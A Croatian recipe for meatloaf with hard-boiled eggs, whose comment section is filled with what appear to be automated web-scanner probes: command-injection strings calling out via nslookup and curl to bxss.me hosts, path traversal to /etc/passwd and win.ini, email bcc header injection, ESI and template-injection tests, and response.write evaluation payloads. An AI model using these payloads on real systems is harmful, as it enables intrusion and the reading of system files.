Potrebni sastojci (za kalup duljine 25 cm):
700 g mljevenog mesa (miješanog - pola junetine, pola svinjetine ili samo junetina)
2 bijela peciva ili 2 veće šnite bijelog kruha, obavezno stara dan-dva
malo mlijeka
malo maslaca
1 dl bijelog vina
1 veći luk, sitno nasjeckan
2 režnja češnjaka, usitnjena
100 g dimljene slanine narezane na sitne kockice i prepržene
1 šaka sitnije sjeckanog peršinovog lista
1 jaje
1 dl mineralne vode
1/4 žličice mljevene slatke paprike
sol, papar
4 tvrdo kuhana jaja
Priprema:
Zagrijte pećnicu na 180°C.
Pecivo (ili kruh) narežite ili natrgajte na par manjih komada, stavite u zdjelu i prelijte mlijekom.
Skuhajte 4 jaja.
U većoj tavi zagrijte malo maslaca i/ili ulja, dodajte nasjeckani luk, pa nakon 2-3 minute i kockice slanine i češnjak, pustite da se malo zapeče pa prelijte vinom i kratko kuhajte na jakoj vatri, dok alkohol ne ishlapi (ali aroma ostaje). Ostavite sa strane da se malo ohladi.
U veću zdjelu stavite mljeveno meso, dodajte žemlje koje ste namakali u mlijeku i ocijedili ih od viška mlijeka, dodajte slaninu s lukom i vinom, jaje, slatku papriku, sol, papar, peršinov list i malo mineralne. Sve dobro promiješajte ili još bolje rukom mijesite dok se smjesa fino pomiješa.
Kalup iznutra premažite maslacem, i dno i stranice.
U kalup prvo stavite oko pola mesne smjese, napravite kroz sredinu mali utor, udubljenje, dužinom cijelog kalupa pa tu posložite kuhana jaja, a zatim u kalup dodajte i ostatak smjese od mesa i njome prekrijte jaja.
Kalup sada stavite u duboku lim za pečenje, u lim sipajte vruću vodu, toliko da dođe do oko polovice kalupa s mesom.
Sve stavite u zagrijanu pećnicu i pecite nekih sat vremena na 180°C.
Ako vidite da vam gornji dio štruce prebrzo tamni, zaštitite meso odozgo alu-folijom, ja jesam.
Provjerite je li vaša štruca gotova, možda bude potrebno i duže od jednog sata pečenja- probodite meso u sredini, ako je sok kojeg pusti proziran - meso je gotovo, ako nije - pecite još malo.
Pečenu mesnu štrucu ostavite 15ak minuta da odmara a zatim režite na šnite i poslužite uz pire od krumpira ili neki drugi prilog i sezonsku salatu.
Ja sam napravila osvježavajuću salatu od kristalke, matovilca, daikona (bijele zimske rotkve) i luka.
Dobar tek!
COOKam i guštam
Komentari
Dodaj komentar555
ghovjnjv 20.11.2023 03:01
1DoEpXd6P6O
ghovjnjv 20.11.2023 03:02
555
1BIaibV7nIO 20.11.2023 03:02
response.write(9612588*9299670)
ghovjnjv 20.11.2023 03:02
'+response.write(9612588*9299670)+'
ghovjnjv 20.11.2023 03:02
"+response.write(9612588*9299670)+"
ghovjnjv 20.11.2023 03:02
555
response.write(9028210*9916801) 20.11.2023 03:02
555
'+response.write(9028210*9916801)+' 20.11.2023 03:02
555
"+response.write(9028210*9916801)+" 20.11.2023 03:02
echo jkiain$()\ phfppz\nz^xyu||a #' &echo jkiain$()\ phfppz\nz^xyu||a #|" &echo jkiain$()\ phfppz\nz^xyu||a #
ghovjnjv 20.11.2023 03:02
&echo jarqkl$()\ fwddno\nz^xyu||a #' &echo jarqkl$()\ fwddno\nz^xyu||a #|" &echo jarqkl$()\ fwddno\nz^xyu||a #
ghovjnjv 20.11.2023 03:02
555&echo lvmcyj$()\ vkpccu\nz^xyu||a #' &echo lvmcyj$()\ vkpccu\nz^xyu||a #|" &echo lvmcyj$()\ vkpccu\nz^xyu||a #
ghovjnjv 20.11.2023 03:02
|echo hmugly$()\ butxrk\nz^xyu||a #' |echo hmugly$()\ butxrk\nz^xyu||a #|" |echo hmugly$()\ butxrk\nz^xyu||a #
ghovjnjv 20.11.2023 03:02
555|echo ttmpbm$()\ tqcjhm\nz^xyu||a #' |echo ttmpbm$()\ tqcjhm\nz^xyu||a #|" |echo ttmpbm$()\ tqcjhm\nz^xyu||a #
ghovjnjv 20.11.2023 03:02
(nslookup -q=cname hitqshrwmuowo2ae46.bxss.me||curl hitqshrwmuowo2ae46.bxss.me))
ghovjnjv 20.11.2023 03:02
$(nslookup -q=cname hituopbahganb62a9d.bxss.me||curl hituopbahganb62a9d.bxss.me)
ghovjnjv 20.11.2023 03:02
&nslookup -q=cname hitxvovhlzknc7ed91.bxss.me&'\"`0&nslookup -q=cname hitxvovhlzknc7ed91.bxss.me&`'
ghovjnjv 20.11.2023 03:02
&(nslookup -q=cname hitzjjuguouil1e74e.bxss.me||curl hitzjjuguouil1e74e.bxss.me)&'\"`0&(nslookup -q=cname hitzjjuguouil1e74e.bxss.me||curl hitzjjuguouil1e74e.bxss.me)&`'
ghovjnjv 20.11.2023 03:02
|(nslookup -q=cname hitubhnyjuxhle6835.bxss.me||curl hitubhnyjuxhle6835.bxss.me)
ghovjnjv 20.11.2023 03:02
`(nslookup -q=cname hitdmpapbjzifa929d.bxss.me||curl hitdmpapbjzifa929d.bxss.me)`
ghovjnjv 20.11.2023 03:02
;(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)|(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)&(nslookup -q=cname hitofjgfooqpz2b574.bxss.me||curl hitofjgfooqpz2b574.bxss.me)
ghovjnjv 20.11.2023 03:02
YV1c3JPN
ghovjnjv 20.11.2023 03:02
555
5wVs1eE7 20.11.2023 03:02
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 20.11.2023 03:02
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 20.11.2023 03:02
file:///etc/passwd
ghovjnjv 20.11.2023 03:02
555
ghovjnjv 20.11.2023 03:02
../555
ghovjnjv 20.11.2023 03:02
555
ghovjnjv 20.11.2023 03:02
555
ghovjnjv 20.11.2023 03:02
555
echo odqbuh$()\ sdzibs\nz^xyu||a #' &echo odqbuh$()\ sdzibs\nz^xyu||a #|" &echo odqbuh$()\ sdzibs\nz^xyu||a # 20.11.2023 03:02
555
../../../../../../../../../../../../../../etc/passwd 20.11.2023 03:02
555
&echo mhjuii$()\ rhwvoi\nz^xyu||a #' &echo mhjuii$()\ rhwvoi\nz^xyu||a #|" &echo mhjuii$()\ rhwvoi\nz^xyu||a # 20.11.2023 03:02
555
../../../../../../../../../../../../../../windows/win.ini 20.11.2023 03:02
555
ghovjnjv&echo amgifp$()\ zjxxxr\nz^xyu||a #' &echo amgifp$()\ zjxxxr\nz^xyu||a #|" &echo amgifp$()\ zjxxxr\nz^xyu||a # 20.11.2023 03:02
555
file:///etc/passwd 20.11.2023 03:02
555
|echo nrrukz$()\ ivxnbm\nz^xyu||a #' |echo nrrukz$()\ ivxnbm\nz^xyu||a #|" |echo nrrukz$()\ ivxnbm\nz^xyu||a # 20.11.2023 03:02
555
ghovjnjv 20.11.2023 03:02
555
ghovjnjv|echo hgvvyx$()\ jywgam\nz^xyu||a #' |echo hgvvyx$()\ jywgam\nz^xyu||a #|" |echo hgvvyx$()\ jywgam\nz^xyu||a # 20.11.2023 03:02
555
../ghovjnjv 20.11.2023 03:02
555
(nslookup -q=cname hitxgigrcdasqd3821.bxss.me||curl hitxgigrcdasqd3821.bxss.me)) 20.11.2023 03:02
555
bcc:074625.146-157619.146.316b6.19681.2@bxss.me
ghovjnjv 20.11.2023 03:02
555
$(nslookup -q=cname hitfgssezsmtsda51a.bxss.me||curl hitfgssezsmtsda51a.bxss.me) 20.11.2023 03:02
to@example.com>
bcc:074625.146-157620.146.316b6.19681.2@bxss.me
ghovjnjv 20.11.2023 03:02
555
&nslookup -q=cname hitibwpaejlye73224.bxss.me&'\"`0&nslookup -q=cname hitibwpaejlye73224.bxss.me&`' 20.11.2023 03:02
555
&(nslookup -q=cname hitxsnyjrgirla5025.bxss.me||curl hitxsnyjrgirla5025.bxss.me)&'\"`0&(nslookup -q=cname hitxsnyjrgirla5025.bxss.me||curl hitxsnyjrgi 20.11.2023 03:02
555
|(nslookup -q=cname hitqwdligbssvd9c64.bxss.me||curl hitqwdligbssvd9c64.bxss.me) 20.11.2023 03:02
555
ghovjnjv bcc:074625.146-157623.146.316b6.19681.2@bxss.me 20.11.2023 03:02
555
`(nslookup -q=cname hittgsclfqqahdb736.bxss.me||curl hittgsclfqqahdb736.bxss.me)` 20.11.2023 03:02
555
to@example.com> bcc:074625.146-157624.146.316b6.19681.2@bxss.me 20.11.2023 03:02
555
;(nslookup -q=cname hitmcrpsxlhmi647f2.bxss.me||curl hitmcrpsxlhmi647f2.bxss.me)|(nslookup -q=cname hitmcrpsxlhmi647f2.bxss.me||curl hitmcrpsxlhmi647f 20.11.2023 03:02
12345'"\'\");|]*{
ghovjnjv 20.11.2023 03:02
555
ghovjnjv<esi:include src="http://bxss.me/rpb.png"/> 20.11.2023 03:02
${9999991+9999912}
ghovjnjv 20.11.2023 03:02
555
${9999813+9999972} 20.11.2023 03:02
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
ghovjnjv 20.11.2023 03:02
555
12345'"\'\");|]* { <